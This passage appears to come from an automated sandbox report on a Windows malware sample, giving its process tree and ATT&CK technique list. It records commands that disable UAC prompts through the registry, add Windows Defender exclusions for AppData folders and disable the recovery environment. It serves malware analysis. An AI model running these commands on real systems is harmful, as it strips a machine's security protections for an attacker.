      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=gpu-process --field-trial-handle=1788,117256936981162093,7708363884705835752,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2996 /prefetch:2
      4⤵
      PID:1040

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4396

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4072

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2100

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1544

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4fc 0x3a0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4356

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5820

C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"
1⤵
PID:5664
- C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5664_947569214\ChromeRecovery.exe
  "C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5664_947569214\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9E530F96} --browser-version=89.0.4389.114 --sessionid={8d4f0224-a25c-465e-b872-f88a5d87e1ad} --system
  2⤵
  - Executes dropped EXE
  PID:5148

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4620

C:\Windows\SysWOW64\reg.exe
C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
1⤵
- UAC bypass
- Modifies registry key
PID:5320

C:\Windows\SysWOW64\ReAgentc.exe
reagentc.exe /disable
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:5292

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:LOCALAPPDATA -Force
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:64

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1552

C:\Windows\SysWOW64\reg.exe
C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
1⤵
- UAC bypass
- Modifies registry key
PID:3984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:APPDATA -Force
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5084

C:\Program Files (x86)\Everything\Everything.exe
"C:\Program Files (x86)\Everything\Everything.exe" -svc
1⤵
- Executes dropped EXE
PID:4280

C:\Program Files\Malwarebytes\Anti-Malware\MBAMInstallerService.exe
"C:\Program Files\Malwarebytes\Anti-Malware\MBAMInstallerService.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Enumerates connected drives
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Modifies data under HKEY_USERS
PID:3928
- C:\Windows\system32\certutil.exe
  "C:\Windows\system32\certutil.exe" -f -addstore root "C:\Windows\TEMP\MBInstallTempbcfd6ec47fcb11ed83d24a8324823cc0\servicepkg\starfieldrootcag2_new.crt"
  2⤵
  - Modifies data under HKEY_USERS
  PID:5620
- C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
  "C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe" /Service /Protected
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Registers COM server for autorun
  - Drops file in System32 directory
  - Modifies registry class
  PID:1012

C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
"C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Registers COM server for autorun
- Sets service image path in registry
- Checks BIOS information in registry
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies Internet Explorer settings
- Modifies data under HKEY_USERS
- Modifies registry class
PID:1540
- C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
  "C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe"
  2⤵
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: GetForegroundWindowSpam
  PID:3260
- - C:\Program Files\Malwarebytes\Anti-Malware\assistant.exe
    "C:\Program Files\Malwarebytes\Anti-Malware\assistant.exe" --showdashboard
    3⤵
    - Suspicious behavior: AddClipboardFormatListener
    PID:4276
- - C:\Program Files\Malwarebytes\Anti-Malware\assistant.exe
    "C:\Program Files\Malwarebytes\Anti-Malware\assistant.exe" --showdashboard
    3⤵
    - Suspicious behavior: AddClipboardFormatListener
    PID:3440
- - C:\Program Files\Malwarebytes\Anti-Malware\assistant.exe
    "C:\Program Files\Malwarebytes\Anti-Malware\assistant.exe" --showdashboard
    3⤵
    - Suspicious behavior: AddClipboardFormatListener
    PID:4520
- - C:\Program Files\Malwarebytes\Anti-Malware\assistant.exe
    "C:\Program Files\Malwarebytes\Anti-Malware\assistant.exe" --showdashboard
    3⤵
    PID:4072
- - C:\Program Files\Malwarebytes\Anti-Malware\malwarebytes_assistant.exe
    "C:\Program Files\Malwarebytes\Anti-Malware\malwarebytes_assistant.exe" --stopservice
    3⤵
    - Suspicious behavior: AddClipboardFormatListener
    PID:5476
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig.exe
  ig.exe reseed
  2⤵
  PID:5944
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-0.exe
  ig.exe reseed
  2⤵
  PID:1588
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-1.exe
  ig.exe reseed
  2⤵
  PID:2928
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-2.exe
  ig.exe reseed
  2⤵
  PID:4820
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-3.exe
  ig.exe reseed
  2⤵
  PID:1880
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-4.exe
  ig.exe reseed
  2⤵
  PID:5060
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-5.exe
  ig.exe reseed
  2⤵
  PID:6136
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-6.exe
  ig.exe reseed
  2⤵
  PID:1200
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-7.exe
  ig.exe reseed
  2⤵
  PID:4740
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-8.exe
  ig.exe reseed
  2⤵
  PID:1936
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-9.exe
  ig.exe reseed
  2⤵
  PID:2436
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-10.exe
  ig.exe reseed
  2⤵
  PID:5480
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-11.exe
  ig.exe reseed
  2⤵
  PID:1444
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-12.exe
  ig.exe reseed
  2⤵
  PID:2812
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-13.exe
  ig.exe reseed
  2⤵
  PID:2808
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-14.exe
  ig.exe reseed
  2⤵
  PID:5468
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-15.exe
  ig.exe reseed
  2⤵
  PID:5892
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-16.exe
  ig.exe reseed
  2⤵
  PID:5620
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-17.exe
  ig.exe reseed
  2⤵
  PID:3940
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-18.exe
  ig.exe reseed
  2⤵
  PID:1568
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-19.exe
  ig.exe reseed
  2⤵
  PID:2228
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-20.exe
  ig.exe reseed
  2⤵
  PID:224
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-21.exe
  ig.exe reseed
  2⤵
  PID:4812
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-22.exe
  ig.exe reseed
  2⤵
  PID:5124
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-23.exe
  ig.exe reseed
  2⤵
  PID:3316
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-24.exe
  ig.exe reseed
  2⤵
  PID:5148
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-25.exe
  ig.exe reseed
  2⤵
  PID:2604
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-26.exe
  ig.exe reseed
  2⤵
  PID:3112
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-27.exe
  ig.exe reseed
  2⤵
  PID:4244
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-28.exe
  ig.exe reseed
  2⤵
  PID:3156
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-29.exe
  ig.exe reseed
  2⤵
  PID:1480
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-30.exe
  ig.exe reseed
  2⤵
  PID:2860
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-31.exe
  ig.exe reseed
  2⤵
  PID:1796
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-32.exe
  ig.exe reseed
  2⤵
  PID:5420
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-33.exe
  ig.exe reseed
  2⤵
  PID:5476
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-34.exe
  ig.exe reseed
  2⤵
  PID:5492
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-35.exe
  ig.exe reseed
  2⤵
  PID:5284
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-36.exe
  ig.exe reseed
  2⤵
  PID:5820
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-37.exe
  ig.exe reseed
  2⤵
  PID:5548
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-38.exe
  ig.exe reseed
  2⤵
  PID:4072
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-39.exe
  ig.exe reseed
  2⤵
  PID:4996
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-40.exe
  ig.exe reseed
  2⤵
  PID:4644
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-41.exe
  ig.exe reseed
  2⤵
  PID:4116
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-42.exe
  ig.exe reseed
  2⤵
  PID:3452
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-43.exe
  ig.exe reseed
  2⤵
  PID:1876
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-44.exe
  ig.exe reseed
  2⤵
  PID:3800
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-45.exe
  ig.exe reseed
  2⤵
  PID:4152
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-46.exe
  ig.exe reseed
  2⤵
  PID:4308
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-47.exe
  ig.exe reseed
  2⤵
  PID:5876
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-48.exe
  ig.exe reseed
  2⤵
  PID:908
- C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-49.exe
  ig.exe reseed
  2⤵
  PID:2028
- C:\Program Files\Malwarebytes\Anti-Malware\MBAMWsc.exe
  "C:\Program Files\Malwarebytes\Anti-Malware\MBAMWsc.exe" /wac 0 /status off true /updatesubstatus none /scansubstatus recommended /settingssubstatus none
  2⤵
  - Modifies data under HKEY_USERS
  PID:5960

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4fc 0x3a0
1⤵
PID:4548

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5548

C:\Windows\SysWOW64\reg.exe
C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
1⤵
- UAC bypass
- Modifies registry key
PID:5460

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:APPDATA -Force
1⤵
PID:1200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:3680
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 432 -p 2844 -ip 2844
  2⤵
  PID:3412
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 480 -p 2844 -ip 2844
  2⤵
  PID:6032

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a} -Embedding
1⤵
PID:4112

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery